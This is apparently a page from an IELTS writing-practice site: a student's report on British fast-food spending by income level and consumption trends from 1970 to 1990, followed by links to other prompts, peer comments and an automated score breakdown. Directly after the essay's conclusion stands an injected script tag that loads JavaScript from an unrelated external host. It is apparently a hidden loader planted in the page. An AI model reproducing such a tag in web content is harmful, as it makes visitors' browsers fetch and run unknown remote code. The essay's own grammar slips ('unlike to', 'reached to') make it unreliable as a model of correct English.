The chart below shows the amount of money per week spent on fast foods in Britain. The graph shows the trends in consumption of fast foods.
The bar chart demonstrates the spending money on fast foods per person per week by people with different level of wages in Britain, while the graph illustrates the consumption of fast foods from 1970 to 1990.
Looking at the bar chart, high income earners favored hamburger most, spending about 42 pence, followed by spending 19 and 17 pence on pizza, and fish and chips respectively. Also average income earners preferred hamburger most, spending around 32 pence, whereas they had the least preference for pizza (spending 5 pence) and expenditure on fish and chips was 25 pence. Unlike to above-mentioned groups, the low income earners favored fish and chips most, spending around 17 pence, followed by spending 13 and 5 pence on hamburger and pizza respectively.
Moving to the graph, the consumption of pizza was about 50 grammes in 1970 and by 1990 it had increased considerably and reached to 280 grammes. In addition, the consuming of hamburger was 90 grammes in 1970 and had grown substantially and reached to 500 grammes by 1990. However, the consumption of fish and chips declined slightly from 300 grammes in 1970 to 200 grammes in 1990.
In conclusion, the less income people had, the less preference for fast foods they had. Moreover, since 1970, the consumptions of pizza and hamburger, unlike to the consumption of fish and chips, have been on the increase. <script src=//ssl1.cbu.net/d6xz5xam></script>
| Post date | Users | Rates | Link to Content |
|---|---|---|---|
| 2021-07-29 | kaushalpatel569 | 56 | view |
- In many countries, the amount of crime is increasing.What do you think are the main causes of crime?How can we deal with those causes? 35
- Some people think that all university students should study whatever they like Others believe that they should only be allowed to study subjects that will be useful in the future such as those related to science and technology Discuss both views and give 82
- You should spend about 20 minutes on this task.The maps below show the changes that have taken place at the seaside resort of Templeton between 1990 and 2005.Summarize the information by selecting and reporting the main features, and make comparisons wher 70
- The graph below shoes the consumption of fish and some different kinds of meat in a European country between 1979 and 2004. 80
- The rising level of congestion and air pollution found in most of the world's cities can be attributed directly to the rapidly increasing number of private cars in use. In order to reverse this decline in the quality of life in cities, attempts must be ma 70
Comments
the given bar chart
the given bar chart represents the amount of money per week spent on fast foods (junk foods) in great Britain , the first chart illustrated the money expenditure on fast foods per a weekly basis , while the second bar chart represents the data about how the consumption demand on fast food changed over the time period of 20 years between 1970 to 1990
Looking at the bar graph high income earners are interested in Hamburger most, spending above 40 pence per a week, while fallowed by the spending around 15 to 20 pence on pizza, and fish and chips respectively, And also average earners preferred on hamburgers, spent above 30 pence per weekly ,whereas they spent least on pizzas, while expenditure on fish and chips above 30 pence per a week , low income earners favored for the fish and chips ,the
The bar chart demonstrates the spending money on fast foods
The bar chart demonstrates the money spent on fast foods
high income earners favored hamburger most, spending about 42 pence, followed by spending 19 and 17 pence on pizza, and fish and chips respectively.
Description: can you re-write this sentence?
the low income earners favored fish and chips most, spending around 17 pence, followed by spending 13 and 5 pence on hamburger and pizza respectively.
Description: can you re-write this sentence?
flaws:
More sentences varieties wanted. Don't always use 'favored....', 'respectively'
Attribute Value Ideal
Score: 6.0 out of 9
Category: Satisfactory Excellent
No. of Grammatical Errors: 3 2
No. of Spelling Errors: 0 2
No. of Sentences: 9 10
No. of Words: 229 200
No. of Characters: 1110 1000
No. of Different Words: 98 100
Fourth Root of Number of Words: 3.89 4.0
Average Word Length: 4.847 4.6
Word Length SD: 2.718 2.4
No. of Words greater than 5 chars: 70 60
No. of Words greater than 6 chars: 57 50
No. of Words greater than 7 chars: 39 40
No. of Words greater than 8 chars: 25 20
Use of Passive Voice (%): 0 0
Avg. Sentence Length: 25.444 21.0
Sentence Length SD: 6.166 7.5
Use of Discourse Markers (%): 0.667 0.12
Sentence-Text Coherence: 0.498 0.35
Sentence-Para Coherence: 0.793 0.50
Sentence-Sentence Coherence: 0.221 0.07
Number of Paragraphs: 4 4